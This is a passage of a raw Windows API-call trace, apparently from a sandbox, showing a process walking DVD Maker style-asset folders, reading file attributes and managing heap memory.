ftCreationTime.dwLowDateTime=0x723bc1d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x723bc1d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf188a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_Ref_PAL.wmv", cAlternateFileName="")) returned 0 [0069.287] GetLastError () returned 0x12 [0069.287] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9140 [0069.287] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0069.287] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.287] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72003fbd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72003fbd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39eaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_INTRO_BG.wmv", cAlternateFileName="")) returned 1 [0069.287] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72050277, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72050277, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd24, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_INTRO_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0069.287] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x720763d4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x720763d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e5d1ee3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_LOOP_BG.wmv", cAlternateFileName="")) returned 1 [0069.287] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7210e948, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7210e948, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e61e19f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd43ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_LOOP_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0069.287] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7240848c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7240848c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-back-over-select.png", cAlternateFileName="")) returned 1 [0069.287] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7242e5e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7242e5e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-back-static.png", cAlternateFileName="")) returned 1 [0069.287] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72454746, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72454746, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-next-over-select.png", cAlternateFileName="")) returned 1 [0069.288] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7247a8a3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7247a8a3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-next-static.png", cAlternateFileName="")) returned 1 [0069.288] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722b1847, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722b1847, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-over-DOT.png", cAlternateFileName="")) returned 1 [0069.288] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724a0a00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724a0a00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-previous-over-select.png", cAlternateFileName="")) returned 1 [0069.288] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724a0a00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724a0a00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-previous-static.png", cAlternateFileName="")) returned 1 [0069.288] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722d79a4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722d79a4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x33b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-border.png", cAlternateFileName="")) returned 1 [0069.288] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724c6b5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724c6b5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6dc875, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-highlight.png", cAlternateFileName="")) returned 1 [0069.288] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722fdb01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722fdb01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6dc875, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1fe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-imageMask.png", cAlternateFileName="")) returned 1 [0069.288] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722d79a4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722d79a4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea22689, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x643e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-shadow.png", cAlternateFileName="")) returned 1 [0069.288] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724eccba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724eccba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-backglow.png", cAlternateFileName="")) returned 1 [0069.288] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724eccba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724eccba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1f0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-border.png", cAlternateFileName="")) returned 1 [0069.288] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724c6b5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724c6b5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1146, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-ImageMask.png", cAlternateFileName="")) returned 1 [0069.288] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7240848c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7240848c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1ed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_notes-txt-background.png", cAlternateFileName="")) returned 1 [0069.288] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fdde60, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71fdde60, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="rollinghills.png", cAlternateFileName="")) returned 1 [0069.288] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7215ac02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7215ac02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea6e945, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_INTRO_BG.wmv", cAlternateFileName="")) returned 1 [0069.288] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72180d5f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72180d5f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ec1184f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3fc64, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_INTRO_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0069.288] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x721cd019, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x721cd019, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ec379ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2a8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_LOOP_BG.wmv", cAlternateFileName="")) returned 1 [0069.288] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7223f430, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7223f430, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ecf6083, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd43ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_LOOP_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0069.288] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72323c5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72323c5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ed4233f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe3dca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_Ref.wmv", cAlternateFileName="")) returned 1 [0069.288] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723bc1d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x723bc1d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf188a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_Ref_PAL.wmv", cAlternateFileName="")) returned 1 [0069.288] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723bc1d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x723bc1d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf188a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_Ref_PAL.wmv", cAlternateFileName="")) returned 0 [0069.288] GetLastError () returned 0x12 [0069.288] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.288] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0069.289] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa0ad40) returned 1 [0069.289] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0069.289] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ee00a15, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x4ee00a15, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_buttongraphic.png", cAlternateFileName="")) returned 1 [0069.289] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8601df, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8601df, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1274, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0069.289] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e88633c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e88633c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1266, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_videoinset.png", cAlternateFileName="")) returned 1 [0069.289] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efaa4ac, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efaa4ac, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x59b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.289] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd0609, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efd0609, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x160f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.289] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd0609, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efd0609, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_VideoInset.png", cAlternateFileName="")) returned 1 [0069.289] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Push", cAlternateFileName="")) returned 1 [0069.289] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.289] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0069.290] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0069.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa1b338 [0069.290] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa1b338, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa1b338, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0069.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa1b338) returned 1 [0069.290] NtClose (Handle=0x170) returned 0x0 [0069.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0069.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0069.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.290] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9140 [0069.304] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.304] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0069.304] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.304] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.304] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.304] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.304] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.304] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0ad40 [0069.304] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08970) returned 1 [0069.304] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa16348 [0069.304] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa16e90 [0069.304] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.304] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047_576black.png", cAlternateFileName="")) returned 1 [0069.304] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.305] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, 